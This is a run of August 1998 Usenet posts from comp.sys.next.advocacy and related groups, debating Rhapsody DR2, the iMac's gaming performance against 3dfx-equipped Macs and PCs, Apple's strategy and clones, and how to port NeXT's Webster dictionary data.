> http://developer.apple.com/macosx/server/rhapfaq/2.html
>
>
> Can I talk about Rhapsody with other developers?
>
> Developers are free to discuss Rhapsody DR2 in public.
> However, they are only allowed to demonstrate Rhapsody in
> the context of demonstrating their Rhapsody-based applications.
> Non-Apple personnel are not allowed to demonstrate Rhapsody
> DR2 unless they have explicit permission from Apple's Worldwide
> Developer Relations. Also, if you are planning on creating
> published writings about Rhapsody, such as books or technical
> articles, please contact Apple Public Relations at
> media.help@apple.com for assistance and to ensure that your
> writings will be accurate and do not violate confidentiality
> obligations you have with Apple.
> Created: 11/18/97
> Modified: 6/16/98
>
> I wouldn't have wasted the time to post this, but I want to make it crystal
> clear that I take any and all NDAs that I sign quite seriously and would
> never intentionally violate them.
That's interesting. Apple's being a lot more lenient about showing
Rhapsody than I expected.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Solaris is"Free"
Date: 12 Aug 1998 15:11:15 GMT
Organization: Primenet (602)416-7000
Message-ID: <6qsbaj$c7e$1@nnrp03.primenet.com>
References: <0Q0A1.21246$7k7.19874803@news.rdc1.sdca.home.com> <joe.ragosta-1208980945050001@wil51.dol.net>
Joe Ragosta <joe.ragosta@dol.net> wrote:
: How much is the "media and shipping" cost?
I heard $10.
John
From: Greg_Anderson@afs.com (Gregory H. Anderson)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Where's Installer.app in Rhapsody DR2?
Date: 12 Aug 1998 14:59:01 GMT
Organization: Anderson Financial Systems Inc.
Message-ID: <6qsajl$6t7@shelob.afs.com>
References: <SCOTT.98Aug11142608@slave.doubleu.com>
Scott Hess writes
> Actually, the key question is: Will Mac OS X Server use .pkg wrappers
> for file distribution?
Unequivocably yes, including compatibility with NeXT-era pkgs.
> I take the lack of Installer.app as more of a statement on the future
> of .pkg wrappers than as a statement regarding whether you'll have to
> use a command-line to install programs in the future.
Or you might take it as a sign that Apple has been busy porting most of
the old NeXT administrative apps into Mac-style equivalents -- witness
the evolution of NetInfoManager in DR2 -- and Installer simply didn't
finish in time for DR2. This statement is closer to the truth.
>Or perhaps they're busy "investing" their time inventing "Yet Another
>Installation Package System With Significant Holes In It." Who knows?
Well, there is at least one new feature that I find exciting, so the
evolution of Installer.app does in fact continue.
--
Gregory H. Anderson | "We're in the land of the blind,
Visionary Ophthalmologist | selling working eyeballs, and they
Anderson Financial Systems | balk at the choice of color." -- Tony
greg@afs.com (NeXTmail OK) | Lovell, on Mac user reactions to NeXT
From: raharlan@my-dejanews.com
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Solution to Imac SUCKS for games
Date: Wed, 12 Aug 1998 15:23:31 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6qsc1i$cvt$1@nnrp1.dejanews.com>
References: <joe.ragosta-0708982205020001@elk59.dol.net> <B1F18F6F-2E069@206.165.43.124> <joe.ragosta-0808980940350001@elk50.dol.net> <MPG.1037c4bb416ff4729896d5@news.ont.com> <joe.ragosta-1008980835430001@wil81.dol.net>
I've enjoyed following this thread, and I see valid points (on all sides)
throughout.
I agree that the iMac is designed as an "entry-level" internet computer, which
will more than meet the needs of most of its targeted users. However, I also
would point out that I was ready to take the plunge and buy one UNTIL I found
out about the hobbled 3D acceleration. I'm not a game freak, but I enjoy games
(especially Quake) and my kids would too. I wish Apple had been as foresighted
in this feature set as they were in numerous other aspects of the iMac design.
Now I am weighing the iMac against a G3Pro solution that will set me back an
additional $1,000 (including monitor and Voodoo or other 3dfx card). My
question boils down to this: will I see THAT much difference between the iMac
and a Voodoo enhanced version of the game? What will be different? (Part of
the problem in making the decision is that I don't know where I could even
play a Mac Voodoo enhanced version of a game like Quake or Unreal as a basis
of comparison to the iMac.)
Any thoughts or advice would be appreciated.
RussH
In article <joe.ragosta-1008980835430001@wil81.dol.net>,
joe.ragosta@dol.net (Joe Ragosta) wrote:
> In article <MPG.1037c4bb416ff4729896d5@news.ont.com>, jmcn@ont.com (Jason
> McNorton) wrote:
>
> > In article <joe.ragosta-0808980940350001@elk50.dol.net>,
> > joe.ragosta@dol.net says...
> > > Nice straw man. I never said that.
> >
> > Please please, the "nice straw man" line has been repeated 50 times in
> > the last 2 weeks. If someone doesn't program the Ragosta bot to say
> > something else, I'm gonna be ticked.
>
> Or maybe you should program the Wintrolls to stop using straw man arguments?
>
> --
> Regards,
> Joe Ragosta
> http://www.dol.net/~Ragosta/complmac.htm
>
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
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From: Patrick <patrick@howard.genetics.utah.edu>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel,comp.os.ms-windows.advocacy
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: Wed, 12 Aug 1998 09:38:55 -0600
Organization: University of Utah Computer Center
Message-ID: <Pine.SOL.3.91.980812093141.2582A-100000@howard.genetics.utah.edu>
References: <macghod-3107981419590001@1cust64.tnt1.santa-barbara.ca.da.uu.net> <ckoller-0108980911260001@125.san-francisco-04.ca.dial-access.att.net> <macghod-0108981444250001@sdn-ar-001casbarp113.dialsprint.net> <6q14vb$5kn$1@andros.cygnus.com> <35C86ABE.4EE5@genetics.utah.edu> <gmgraves-0608980923010001@sf-usr1-59-187.dialup.slip.net> <35C9C503.2B61@genetics.utah.edu> <joe.ragosta-0708980819190001@wil86.dol.net>
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
In-Reply-To: <joe.ragosta-0708980819190001@wil86.dol.net>
On Fri, 7 Aug 1998, Joe Ragosta wrote:
> > George Graves wrote:
> > >
> > > In article <35C86ABE.4EE5@genetics.utah.edu>, Patrick O'Neil
> > > <poneil@genetics.utah.edu> wrote:
> > [...]
> > >
> > > I see. You don't mind running Win95 and NT, but you won't run the
> > > "dismal Mac OS". Have you seen your psychiatrist lately Mr. O'Neil?
> > > Because you're nuts!
> > >
> >
> > Not at all. As much as I dislike M$ and Gates, the latest Winblows
> > variants (perversions?) ARE more stable than MacOS. Setting up a
> > standard Winblows box from scratch is no more complicated than
> > setting up a new install of MacOS...so there is no benefit THERE.
>
> And George just showed that you're wrong.
>
> Heck, even one of the prime Wintrolls suggested a solution that was
> _still_ much harder than installing MacOS.
>
> Until you have some evidence, you're just blowing smoke.
Give me a break. I have installed, multiple times, from scratch, on BOTH
Macs and PCs. I have done so on the PC with OS/2, Win95, and RedHat
Linux. Installing Win95 on a PC was NO more difficult than installing
MacOS on my daughters Performa. There was NO problems, in ANY case, on
the PC as compared to the Mac. I pointed, clicked, and left it alone
until it was done, hitting a button a couple times at the end of the
Win95 install as to whether I wanted this or that installed, or whether I
wanted the settings that Win95 was going to go with. There was no work
involved, no crashes. OS/2 installed with only a LITTLE work, because it
doesn't have all the hardware support that Windoze does (it is getting
better) and it DOES have better/more extended network/server support that
you have to make decisions about. Big wup. Linux was the hardest of the
bunch, especially for a firsttimer. After doing it once, subsequent
installs are cake, but they do take more "work/input" than any of the
other installs require...but then it has capabilities and performance
unmatched by anything else we are talking about here, for Mac or PC...period.
I repeat...there was NO difference on ease of install between MacOS and
Win95. Barely a difference between MacOS and OS/2 Warp 4.
That is MY PERSONAL experience. Not heresay, not rumor. I have done it
many times on BOTH.
patrick
From: jmcn@msg.ti.com (Jason McNorton)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Solution to Imac SUCKS for games
Date: Wed, 12 Aug 1998 10:53:53 -0500
Organization: Texas Instruments
Message-ID: <MPG.103b768ad5ec4d1f989785@news.itg.ti.com>
References: <joe.ragosta-0708982205020001@elk59.dol.net> <B1F18F6F-2E069@206.165.43.124> <joe.ragosta-0808980940350001@elk50.dol.net> <MPG.1037c4bb416ff4729896d5@news.ont.com> <joe.ragosta-1008980835430001@wil81.dol.net> <6qsc1i$cvt$1@nnrp1.dejanews.com>
In article raharlan@my-dejanews.com, raharlan@my-dejanews.com says...
> I've enjoyed following this thread, and I see valid points (on all sides)
> throughout.
>
> I agree that the iMac is designed as an "entry-level" internet computer, which
> will more than meet the needs of most of its targeted users. However, I also
> would point out that I was ready to take the plunge and buy one UNTIL I found
> out about the hobbled 3D acceleration. I'm not a game freak, but I enjoy games
> (especially Quake) and my kids would too. I wish Apple had been as foresighted
> in this feature set as they were in numerous other aspects of the iMac design.
>
> Now I am weighing the iMac against a G3Pro solution that will set me back an
> additional $1,000 (including monitor and Voodoo or other 3dfx card). My
> question boils down to this: will I see THAT much difference between the iMac
> and a Voodoo enhanced version of the game? What will be different? (Part of
> the problem in making the decision is that I don't know where I could even
> play a Mac Voodoo enhanced version of a game like Quake or Unreal as a basis
> of comparison to the iMac.)
The difference between software rendering and 3dfx is difficult to
describe. Think of the difference between watching a movie on a 13"
black&white mono TV and watching it on a 32" Dolby Digital system. Even
if all 3dfx did was enhance the graphics with colored lighting and higher
resolution it would be worth it. But you also triple (or more) your
frame-rate.
If you want the latest games, a Mac will not be good enough. There about
about a dozen top-notch PC games coming out soon.. European Air War, Sim
City 3000 (hopefully this year), Sin, Half-Life, Command & Conquor
Tiberion Sun.. The list goes on and on. And no, most are not the blood
& guts gore games. If all you want to do with a computer is use the
internet, graphics, or word processing, the Mac is ok (but certainly not
for the price premium on it). Otherwise, if you think you'll want to
play games or keep up with the latest advances in 3D technology, stick
with the PC.
From: stwillis@ews.uiuc.edu (willis sean timothy)
Newsgroups: comp.sys.next.advocacy
Subject: Re: new iMac spin
Date: 12 Aug 1998 16:17:46 GMT
Organization: University of Illinois at Urbana-Champaign
Message-ID: <6qsf7a$sgu$1@vixen.cso.uiuc.edu>
References: <6qq9p0$9hn$1@vixen.cso.uiuc.edu> <6qr0le$eg8$1@msunews.cl.msu.edu>
spammers@ruin.the.internet.channelu.com wrote:
:
: Yeah well I didn't get any impression. Sure 24/7 production - but how
: many
: units are being produced in that factory, and in general. A press
: release
: that is all but informative.
:
: Seems like just a press hype rather than a informative article saying
: this is how many we are producing now..
That's exactly what it is. Apple released information that they have
150,000 pre-orders for the iMac, and then notes that they're building them
as fast as they can. That way they cover their butts in case there are
production snags and the like, while reassuring the purchasing public that
their iMac will be there soon.
Take a look at the sites that are hyping the iMac intro, and then search
for the sites that are reporting possible production problems. I'd venture
to say that it's at least a 10:1 ratio in favor of Apple spin. Demand is
not a bad thing if you have the production capacity to get the product out
the door in a reasonable time frame. It looks to me as though that's what
Apple is working toward.
sean
--
Sean Willis : stwillis@uiuc.edu
Aero/ Astro Engineering : http://www.uiuc.edu/ph/www/stwillis
University of Illinois @ Urbana : "When my hand slipped, she looked at
U.S. Presidential Candidate, 2012 : me, and she sang this song...."
-The Dirty Dozen
From: boehring@biomed.ruhr-uni-bochum.de (Daniel Boehringer)
Newsgroups: comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: NEXTstep/Openstep for the Mac
Date: 12 Aug 1998 16:32:24 GMT
Organization: Ruhr-Universitaet Bochum, Rechenzentrum
Message-ID: <6qsg2o$sr$1@sun579.rz.ruhr-uni-bochum.de>
References: <35CF0C69.B3B0CF5@ericsson.com> <35d05ffe.0@news.depaul.edu> <6qq18i$qac$1@nnrp1.dejanews.com> <SCOTT.98Aug11143008@slave.doubleu.com> <6qs5e8$i06$1@crib.corepower.com>
NNTP-Posting-Date: 12 Aug 1998 16:32:24 GMT
nurban@crib.corepower.com (Nathan Urban) wrote:
>In article <SCOTT.98Aug11143008@slave.doubleu.com>, scott@nospam.doubleu.com
(Scott Hess) wrote:
>
>> In article <6qq18i$qac$1@nnrp1.dejanews.com>,
>> spagiola@my-dejanews.com writes:
>
>> Just wondering if it would be possible, and legal, to write a
>> Rhapsody app to access the Webster data files that came with
>> NeXTSTEP, and then simply transfer those files?
>
>> If you aquired the files legitimately, sure. In effect, this implies
>> that you save your original distribution media, and don't have the
>> files installed on your NeXTSTEP machines.
>
>I'd be willing to do that whenever I make my permanent switch. However,
>I'm more interested in the "possible" part. Does anyone know how to
>decode the Webster data files so that a clone could be written??
NeXT webster is IXKit based.
have a look at
ftp://ftp.peanuts.org/peanuts/./NEXTSTEP/unix/text/Webster.a5.s.tar.gz
an openstep replacement application for Librarian.app would be a nice place
to put webster acces into.
daniel
From: Michael Peck <Michael.Peck@ericsson.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Solaris is"Free"
Date: Wed, 12 Aug 1998 11:31:19 -0500
Organization: Ericsson North America Inc.
Message-ID: <35D1C357.7B580353@ericsson.com>
References: <0Q0A1.21246$7k7.19874803@news.rdc1.sdca.home.com> <35D0BB31.C59D68BD@ericsson.com> <j37A1.21801$7k7.20104944@news.rdc1.sdca.home.com>
Mime-Version: 1.0
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Content-Transfer-Encoding: 8bit
rr6013@yahoo.com wrote:
> Heh, Apple built the brand ±?Job's deified it. SJ sacrificed his NeXT
> hardware business to appease the PC gods once... NeXT survived that paradigm
> shift. Do you think he'd do it again? Aside from the historionics, I firmly
> see this as only _one_ way out of the box they've built for themselves. And
> as for precedent, the last person to try it wasn't Steve Jobs... (jokes about
> god aside) :-)
I don't know what you mean at this point. Perhaps there are holes in my
knowledge of history which are relevant to your points. As far as I
know, the last head of Apple to pursue a course which jeopardized
classic brands like Macintosh for the sake of a new business direction
was Gilbert Amelio. The course of the cloning business was directed
toward building a technology house, what with the cloning itself and
peripheral actions like the formation of ATG, pursuit of the Live
Objects cooperation, and new partnerships with Asian concerns to
leverage the strength of manufacturing and branding from that sector.
We all thought Jobs was going to do that, didn't we? But we're back to
the old "Macintosh" brand, heh. The "next big thing" turns out to be the
last big thing warmed over, complete with the same old syrupy coating.
Open your ears! What are Apple and every media outlet saying about
future business? "Sales to existing customers...", "classic Apple
markets like graphics, education, and publishing...", "leveraging the
Macintosh brand as long as possible...". Please! What does "Think
Different" mean?
> History bears your opinion invalid. Clones convinced many, many "duped"
> Apple fans that the best hardware wasn't coming from Cupertino. So great was
> the clone ground swell from duped Apple fans that evil clones were decreed
> dead. And so it was...
Actually, you'll notice that I said "most Apple fans" and history
definitely bears my opinion valid, since at best 30% of the Apple
hardware market shifted away from Apple. I don't know what you meant.
I *do* know that at the time of the clones' introduction (January of
1994), I was against cloning and very opposed to the idea of creating
what I called the "PC jungle" in the Macintosh market. I told friends
and family that I was willing to pay up to a $500 premium for Apple
hardware, and that cloning was a big mistake that would hurt the entire
market. I *wanted* to be duped, and the reaction I got from most fellow
Mac-fans was explicit assent.
When my views changed on this I was considered something akin to a
"traitor" for betraying the Mother Company. In the next few years I was
to watch all of my Mac-owning acquaintances purchase Apple equipment.
Interestingly enough, every person I met during that time who switched
from a PC to a Mac bought a clone machine.
[cut]
> "Open Source" poses a potential threat to Apple by turning "Pride of
> Ownership " tangible. Phoof, goes the fantasy.
The question at this point is whether you believe the fantasy is going
to die anyway. Look around you, it's almost dead.
> Consciousness is outed and
> the duped must rationalize their commitment to their fantasy. Clones
> attacked the Apple brand "store of value". Given better performance and
> better prices the Apple brand couldn't hold marketshare on features alone.
Precisely, the damage is already done. It cannot be repaired, and it
would have happened one way or another anyway. Point: it's time for
*Apple* to wake up from the fantasy. Well, geez, it's long past time,
but let's be charitable for the sake of argument.
> Open Source challenges the very "currency of the brand" by nullifying price
> in exchange for full equity. Free Trade prospers as stakeholders contribute,
> share, exchange and build equity. A parallel marketspace develops.
>
> Can Apple live in both worlds?
No, it can't. But that's just opinion. And there's little doubt in my
mind that Apple will die faster yet do more damage on its current
course. When Apple falls someone will have to pick up the pieces. The
current course of Apple business is just making it harder for its
successors. That Apple will cease to exist as an independent market
entity within 3 years has already become a matter of course in my
predictions.
MJP
From: nurban@crib.corepower.com (Nathan Urban)
Newsgroups: comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: NEXTstep/Openstep for the Mac
Date: 12 Aug 1998 12:36:07 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6qsg9n$j66$1@crib.corepower.com>
References: <35CF0C69.B3B0CF5@ericsson.com> <SCOTT.98Aug11143008@slave.doubleu.com> <6qs5e8$i06$1@crib.corepower.com> <6qsg2o$sr$1@sun579.rz.ruhr-uni-bochum.de>
In article <6qsg2o$sr$1@sun579.rz.ruhr-uni-bochum.de>, boehring@biomed.ruhr-uni-bochum.de (Daniel Boehringer) wrote:
> nurban@crib.corepower.com (Nathan Urban) wrote:
> >Does anyone know how to
> >decode the Webster data files so that a clone could be written??
> NeXT webster is IXKit based.
Hmm. I doubt that's going to make it across to Rhapsody any time soon.
Would it be in violation of license to write some sort of converter (under
NEXTSTEP, using IXKit) to convert the data files to some other indexed
format that a clone could use (as long as you already have Webster and
use the data files only for private use, of course.) Maybe using AIAT?
From: Jonathan W Hendry <jhendry@shrike.depaul.edu>
Subject: Re: NEXTstep/Openstep for the Mac
Newsgroups: comp.sys.next.advocacy,comp.sys.next.programmer
References: <35CF0C69.B3B0CF5@ericsson.com> <SCOTT.98Aug11143008@slave.doubleu.com> <6qs5e8$i06$1@crib.corepower.com> <6qsg2o$sr$1@sun579.rz.ruhr-uni-bochum.de> <6qsg9n$j66$1@crib.corepower.com>
Message-ID: <35d1caf2.0@news.depaul.edu>
Date: 12 Aug 98 17:03:46 GMT
In comp.sys.next.advocacy Nathan Urban <nurban@crib.corepower.com> wrote:
> In article <6qsg2o$sr$1@sun579.rz.ruhr-uni-bochum.de>, boehring@biomed.ruhr-uni-bochum.de (Daniel Boehringer) wrote:
> > nurban@crib.corepower.com (Nathan Urban) wrote:
> > >Does anyone know how to
> > >decode the Webster data files so that a clone could be written??
> > NeXT webster is IXKit based.
> Hmm. I doubt that's going to make it across to Rhapsody any time soon.
> Would it be in violation of license to write some sort of converter (under
> NEXTSTEP, using IXKit) to convert the data files to some other indexed
> format that a clone could use (as long as you already have Webster and
> use the data files only for private use, of course.) Maybe using AIAT?
It would be easier to just use raw dictionary content from www.dict.org.
- Jon
--
Note: email to this address goes to /dev/null
To email a reply, write to jon at exnext dot com
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
From: nospam@devnull.com (Hath)
Subject: Re: Solution to Imac SUCKS for games
Organization: The WebDragon
Message-ID: <nospam-1208981329310001@dhack1-149.cybernex.net>
References: <joe.ragosta-0708982205020001@elk59.dol.net> <B1F18F6F-2E069@206.165.43.124> <joe.ragosta-0808980940350001@elk50.dol.net> <MPG.1037c4bb416ff4729896d5@news.ont.com> <joe.ragosta-1008980835430001@wil81.dol.net> <6qsc1i$cvt$1@nnrp1.dejanews.com> <MPG.103b768ad5ec4d1f989785@news.itg.ti.com>
Date: Wed, 12 Aug 1998 17:29:31 GMT
In article <MPG.103b768ad5ec4d1f989785@news.itg.ti.com>, jmcn@msg.ti.com
(Jason McNorton) wrote:
> If all you want to do with a computer is use the
> internet, graphics, or word processing, the Mac is ok (but certainly not
> for the price premium on it). Otherwise, if you think you'll want to
> play games or keep up with the latest advances in 3D technology, stick
> with the PC.
Funny, I would have thought it was the other way around =)
Considering Apple's advances in 3-d Quickdraw technology that is a
*standardized* basis for programmers to draw upon in order to take
advantage of 'the latest advances in 3-d tech', I leave it as an exercise
for the reader.
for using the internet, and graphics, IMNERHO[1] the mac is clearly
superior for the average to the advanced user. You really have to
experience all the built-in subtleties in Newswatcher to appreciate how
much of a "mac-like application" it truly is, making the 'internet
experience' that much more enjoyable. dragging sections of text between
article windows (instead of copy & paste) is the least of them.
[1] In My Never Even Remotely Humble Opinion.
--
send mail to Hath <at> cyberops <dot> org instead of to the above address.
this is to prevent spamming. e-mail reply-to's have been altered
to prevent scan software from extracting my address for the purpose
of spamming me, which I hate with a passion bordering on obsession.
From: Jostein Johansen <jostein@chem.uit.no>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Solution to Imac SUCKS for games
Date: Wed, 12 Aug 1998 19:32:37 +0200
Organization: priv.
Message-ID: <35D1D1B5.6EC86399@chem.uit.no>
References: <joe.ragosta-0708982205020001@elk59.dol.net> <B1F18F6F-2E069@206.165.43.124> <joe.ragosta-0808980940350001@elk50.dol.net> <MPG.1037c4bb416ff4729896d5@news.ont.com> <joe.ragosta-1008980835430001@wil81.dol.net> <6qsc1i$cvt$1@nnrp1.dejanews.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
raharlan@my-dejanews.com wrote:
>
> I've enjoyed following this thread, and I see valid points (on all sides)
> throughout.
>
> I agree that the iMac is designed as an "entry-level" internet computer, which
> will more than meet the needs of most of its targeted users. However, I also
> would point out that I was ready to take the plunge and buy one UNTIL I found
> out about the hobbled 3D acceleration. I'm not a game freak, but I enjoy games
> (especially Quake) and my kids would too. I wish Apple had been as foresighted
> in this feature set as they were in numerous other aspects of the iMac design.
>
> Now I am weighing the iMac against a G3Pro solution that will set me back an
> additional $1,000 (including monitor and Voodoo or other 3dfx card). My
> question boils down to this: will I see THAT much difference between the iMac
> and a Voodoo enhanced version of the game? What will be different? (Part of
> the problem in making the decision is that I don't know where I could even
> play a Mac Voodoo enhanced version of a game like Quake or Unreal as a basis
> of comparison to the iMac.)
>
> Any thoughts or advice would be appreciated.
You can view some comparison screen shots at
http://www.planetquake.com/gldojo/sshots.html. The main difference is
that you are able to increase the resolution, and simultaneously
increase the framerate. GLQuake also uses something called bilinear
filtering witch makes all "pixels" go away, so a wall f.eks looks
totally smooth even close up. There are several other light effects, and
transparent water etc.
But good all quake1 does not really do justice to these graphics boards
as it was being developed before 3DFx made its first card. The
difference between software and hardware versions of the games have
become much more pronounced in newer games like Quake2 and Unreal.
Unreal are a real masterpiece in graphics design, and you really should
have a 3DFx or other accelerator to see this game as it was meant to be
seen, it is simply stunning! (take a look at the screen shots at f.eks
http://www.mplayer.com/action/unreal/ if you don't believe me) Unreal is
coming to the mac any day now, so you should really get a machine that's
able to run this game in a decent way.
Regards
Jostein
--
___________________________ __ ______ __
Jostein A. Johansen /\ \ /\ __ \ /\ \
Email: Jostein@chem.uit.no _\_\ \\ \ __ \ _\_\ \
Tlf. +47 77671088 /\_____\\ \_\ \_\/\_____\
+47 77644067 \/_____/ \/_/\/_/\/_____/
From: see-below@not-my-address.invalid (Matthew Vaughan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Solution to Imac SUCKS for games
Date: Wed, 12 Aug 1998 10:58:26 -0700
Message-ID: <see-below-1208981058270001@dynamic55.pm09.mv.best.com>
References: <joe.ragosta-0708982205020001@elk59.dol.net> <B1F18F6F-2E069@206.165.43.124> <joe.ragosta-0808980940350001@elk50.dol.net> <MPG.1037c4bb416ff4729896d5@news.ont.com> <joe.ragosta-1008980835430001@wil81.dol.net> <6qsc1i$cvt$1@nnrp1.dejanews.com>
In article <6qsc1i$cvt$1@nnrp1.dejanews.com>, raharlan@my-dejanews.com wrote:
> I've enjoyed following this thread, and I see valid points (on all sides)
> throughout.
>
> I agree that the iMac is designed as an "entry-level" internet computer, which
> will more than meet the needs of most of its targeted users. However, I also
> would point out that I was ready to take the plunge and buy one UNTIL I found
> out about the hobbled 3D acceleration. I'm not a game freak, but I enjoy games
> (especially Quake) and my kids would too. I wish Apple had been as foresighted
> in this feature set as they were in numerous other aspects of the iMac design.
>
> Now I am weighing the iMac against a G3Pro solution that will set me back an
> additional $1,000 (including monitor and Voodoo or other 3dfx card). My
> question boils down to this: will I see THAT much difference between the iMac
> and a Voodoo enhanced version of the game? What will be different? (Part of
> the problem in making the decision is that I don't know where I could even
> play a Mac Voodoo enhanced version of a game like Quake or Unreal as a basis
> of comparison to the iMac.)
>
> Any thoughts or advice would be appreciated.
The best way I can think to describe it is: software mode is faded and
dull looking, like a mural in concrete. Now throw water on it, and you get
deeper darks, richer colors, and shinier brights, and that's what 3Dfx is
like. Everything is smoother--you don't see any pixellation because of the
filtering. You can also use transparent water, as well as (much less
useful) mirror and shadow effects.
Don't know how to help in finding a demo with 3Dfx, maybe check PCs in a
store since it should look the same.
....................................................
MATTHEW VAUGHAN
matthewv@best.com
http://www.best.com/~matthewv/
....................................................
From: spammers@ruin.the.internet.channelu.com
Newsgroups: comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: NEXTstep/Openstep for the Mac
Date: 12 Aug 1998 17:52:43 GMT
Organization: Michigan State University
Message-ID: <6qskpb$lir$1@msunews.cl.msu.edu>
References: <35CF0C69.B3B0CF5@ericsson.com> <SCOTT.98Aug11143008@slave.doubleu.com>
<6qs5e8$i06$1@crib.corepower.com> <6qsg2o$sr$1@sun579.rz.ruhr-uni-bochum.de>
<6qsg9n$j66$1@crib.corepower.com> <35d1caf2.0@news.depaul.edu>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Cc: jhendry@shrike.depaul.edu
In <35d1caf2.0@news.depaul.edu> Jonathan W Hendry wrote:
> In comp.sys.next.advocacy Nathan Urban <nurban@crib.corepower.com>
wrote:
> > In article <6qsg2o$sr$1@sun579.rz.ruhr-uni-bochum.de>,
boehring@biomed.ruhr-uni-bochum.de (Daniel Boehringer) wrote:
>
> > > nurban@crib.corepower.com (Nathan Urban) wrote:
>
> > > >Does anyone know how to
> > > >decode the Webster data files so that a clone could be written??
>
> > > NeXT webster is IXKit based.
>
> > Hmm. I doubt that's going to make it across to Rhapsody any time
soon.
> > Would it be in violation of license to write some sort of converter
(under
> > NEXTSTEP, using IXKit) to convert the data files to some other
indexed
> > format that a clone could use (as long as you already have Webster
and
> > use the data files only for private use, of course.) Maybe using
AIAT?
>
> It would be easier to just use raw dictionary content from
www.dict.org.
>
It may be better to go with a open solution. IXKit is one of the
things
that I am most interested in porting - but I don't think I will get
around
to it for quite some time. Also I hear from Don that the code is quite
hairy. It might be better to look at developments in that arena and
incorporate them into a new IXKit - or roll a completely new one.
I doubt that raw dictionary could do all the things IXKit did - and
there are
improvements to the front ends I would like to make. Hell I can't
see why IXKit files couldn't be used to feed a IXKit based webbot
that just groks IXKit files and adds them to it's archives rather
than traversing trees..
Whaddya think?
One thing I really love is Digital Librarian - Makes finding files on
50G of 1.3G Optical disks quick and fun. Fricken fast too IMHO.
Randy
rencsok at
channelu dot com
argus dot cem dot msu dot edu
spammers works also :)
Randy Rencsok General UNIX, NeXTStep, IRIX Admining,
Turbo Software Consulting, Programming, etc.)
Date: Wed, 12 Aug 1998 11:45:50 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Solution to Imac SUCKS for games
Message-ID: <joe.ragosta-1208981145510001@wil61.dol.net>
References: <joe.ragosta-0708982205020001@elk59.dol.net> <B1F18F6F-2E069@206.165.43.124> <joe.ragosta-0808980940350001@elk50.dol.net> <MPG.1037c4bb416ff4729896d5@news.ont.com> <joe.ragosta-1008980835430001@wil81.dol.net> <6qsc1i$cvt$1@nnrp1.dejanews.com>
In article <6qsc1i$cvt$1@nnrp1.dejanews.com>, raharlan@my-dejanews.com wrote:
> I've enjoyed following this thread, and I see valid points (on all sides)
> throughout.
>
> I agree that the iMac is designed as an "entry-level" internet computer, which
> will more than meet the needs of most of its targeted users. However, I also
> would point out that I was ready to take the plunge and buy one UNTIL I found
> out about the hobbled 3D acceleration. I'm not a game freak, but I enjoy games
> (especially Quake) and my kids would too. I wish Apple had been as foresighted
> in this feature set as they were in numerous other aspects of the iMac design.
>
> Now I am weighing the iMac against a G3Pro solution that will set me back an
> additional $1,000 (including monitor and Voodoo or other 3dfx card). My
> question boils down to this: will I see THAT much difference between the iMac
> and a Voodoo enhanced version of the game? What will be different? (Part of
> the problem in making the decision is that I don't know where I could even
> play a Mac Voodoo enhanced version of a game like Quake or Unreal as a basis
> of comparison to the iMac.)
I'm surprised that the price difference is that high. The G3/233 is around
$1300, just like the iMac. Add in $450 for a decent 17" monitor and
another $200 (?) for the video card. So, it's about $650 more, but you get
a bigger monitor and better graphics.
To answer your question, it's probably going to vary from person to
person. For me, the difference would never justify the price because when
I play games, the difference between 20 and 40 fps isn't an issue. Nor is
the difference in picture quality great enough to justify spending more
money. For others, even a slight improvement in quality or performance
might be enough to justify it. If at all possible, see if you can find
someone who has a Voodoo or other card on a G3 Mac to see for yourself.
Your local Mac VAR might be able to help, or see if there's a user group
in your area.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
Date: Wed, 12 Aug 1998 11:46:38 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Solaris is"Free"
Message-ID: <joe.ragosta-1208981146380001@wil61.dol.net>
References: <0Q0A1.21246$7k7.19874803@news.rdc1.sdca.home.com> <joe.ragosta-1208980945050001@wil51.dol.net> <6qsbaj$c7e$1@nnrp03.primenet.com>
In article <6qsbaj$c7e$1@nnrp03.primenet.com>, John Jensen
<jjens@primenet.com> wrote:
> Joe Ragosta <joe.ragosta@dol.net> wrote:
>
> : How much is the "media and shipping" cost?
>
> I heard $10.
Cool. I'm going to continue to try to get through.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: gupta@kcopsrm.tm.tta.moc-mirror after @
Newsgroups: comp.sys.next.advocacy
Subject: Re: A prediction
Date: 12 Aug 1998 19:38:41 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <6qsr01$g8f@newsb.netnews.att.com>
Originator: gupta@tlctest
See
http://advisor.gartner.com/n_inbox/hotcontent/hc_081198_5.html
"NT v.5.0 : The Flight has Left, but It's a Three-Year Runway"
-arun gupta
From: Michael Peck <Michael.Peck@ericsson.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Solution to Imac SUCKS for games
Date: Wed, 12 Aug 1998 13:20:22 -0500
